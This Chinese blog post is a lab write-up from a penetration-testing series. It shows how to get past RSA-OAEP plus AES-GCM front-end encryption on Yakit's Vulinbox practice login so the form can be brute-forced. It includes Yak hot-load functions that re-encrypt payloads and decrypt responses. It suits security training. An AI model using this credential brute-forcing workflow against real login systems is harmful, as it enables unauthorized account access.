当前位置: 首页 > article >正文

渗透测试-前后端加密分析之RSA+AES

本文是高级前端加解密与验签实战的第8篇文章,本系列文章实验靶场为Yakit里自带的Vulinbox靶场,本文讲述的是绕过RSA与AES加密来爆破登录。

由于RSA加解密有长度限制,以及解密速度等问题,所以如https等协议都是用非对称加密对称加密的密钥,然后用对称加密算法来加密数据。本关卡就是用RSA来加密AES的key和iv,用AES来加密表单数据。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

分析

直接Submit,观察数据包发现请求包和响应包AES加密的key和iv都被加密了。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

查看源码,RSA的key是通过请求/crypto/js/rsa/generator路径获取的

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

AES的加密方法为AES-GCM

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

流程图如下:

开始
加载页面
获取RSA密钥对
从服务器获取公钥和私钥
将PEM格式的公钥和私钥转换为CryptoKey对象
生成随机AES密钥与IV
使用RSA-OAEP加密AES密钥与IV
使用Encrypt函数用AES-GCM方式加密提交的数据
发送加密数据到服务器
接收服务器响应
使用Decrypt函数用RSA与AES-GCM解密接收的数据
显示解密后的数据

序列+热加载

本文和上文遇到一样的问题,本来打算用第三个请求来解密响应包的,最后选择了使用mirrorHTTPFlow函数来解密。

上文中只能看到登陆成功,但不知道账号密码是什么。这次写了个解密函数解密请求包,不管怎么说,能跑就行。

热加载代码如下:

// RSA-OAEP 加密
rsaEncrypt = (pem, data) => {
    data = codec.RSAEncryptWithOAEP(pem, data)~
    data = codec.EncodeBase64(data)
    return data
}
// AES-GCM 加密
aesEncrypt = (key, iv, data) => {
    encryptedData = codec.AESGCMEncryptWithNonceSize12(key, data, iv)~
    encryptedData = codec.EncodeBase64(encryptedData)
    return encryptedData
}
// 分割参数的函数
splitParams = (params) => {
    pairs := params.SplitN("|", 2)
    return pairs
}
// 主函数
encrypt = (params) => {
    pairs := splitParams(params)
    key =  randstr(16)
    iv = randstr(12)
    data = aesEncrypt(key, iv, pairs[1])
    encryptIV = rsaEncrypt(pairs[0], iv)
    encryptKey = rsaEncrypt(pairs[0], key)

    body = f`{"data":"${data}","iv":"${iv}","encryptedIV":"${encryptIV}","encryptedKey":"${encryptKey}"}`
    return body
}
// 解密函数
mirrorHTTPFlow = (req, rsp, params) => {
    // 获取私钥
    pem = params.privateKey
    
    // 切割响应中的数据,作为 JSON 加载
    body = json.loads(poc.GetHTTPPacketBody(rsp))
    
    // 提取 IV、KEY 和 DATA
    data = body.data
    iv = body.encryptedIV
    key = body.encryptedKey
    
    // 使用 RSA-OAEP 解密 IV 和 KEY
    iv = codec.RSADecryptWithOAEP(pem, codec.DecodeBase64(iv)~)~
    key = codec.RSADecryptWithOAEP(pem, codec.DecodeBase64(key)~)~
    
    // 使用 AES-GCM 解密
    data = codec.AESGCMDecryptWithNonceSize12(key, codec.DecodeBase64(data)~, iv)~
    return string(data)
}

使用Yakit的序列功能,效果如下,在提取数据中显示了未加密的请求和响应的内容:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

爆破效果:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传


http://www.kler.cn/a/447627.html

相关文章:

  • uniapp Native.js 调用安卓arr原生service
  • Redis应用—9.简单应用汇总
  • Windows server 服务器网络安全管理之防火墙出站规则设置
  • YOLOv8目标检测(七)_AB压力测试
  • Linux shell脚本用于常见图片png、jpg、jpeg、tiff格式批量转webp格式后,并添加文本水印
  • App自动化之dom结构和元素定位方式(包含滑动列表定位)
  • 使用Python实现无人机自动导航系统:探索智能飞行的奥秘
  • ansible剧本快速上手
  • 汽车IVI中控开发入门及进阶(三十八):手机投屏HiCar开发
  • golang rocketmq保证数据一致性(以电商订单为例)
  • JAVA前端开发中type=“danger“和 type=“text“的区别
  • 《计算机组成及汇编语言原理》阅读笔记:p28-p47
  • 修改npm镜像源
  • MyBatis是什么?为什么有全自动ORM框架还是MyBatis比较受欢迎?
  • Sora技术报告【官方版】
  • 【算法】——双指针(上)
  • Redis 多实例配置说明
  • 鸿蒙开发——关系型数据库的基本使用与跨设备同步
  • Vue简介和项目构建
  • Java详细总结
  • 12月第十七讲:Redis应用相关的缓存框架
  • 解锁 Jenkins 搭建全攻略
  • RabbitMQ如何实现延时队列?
  • Windows通过git-bash安装zsh
  • 基于 iAP2 协议 的指令协议,用于对安防设备的 MCU 进行操作
  • 【Java基础面试题029】Java中的hashCode和equals方法之间有什么关系?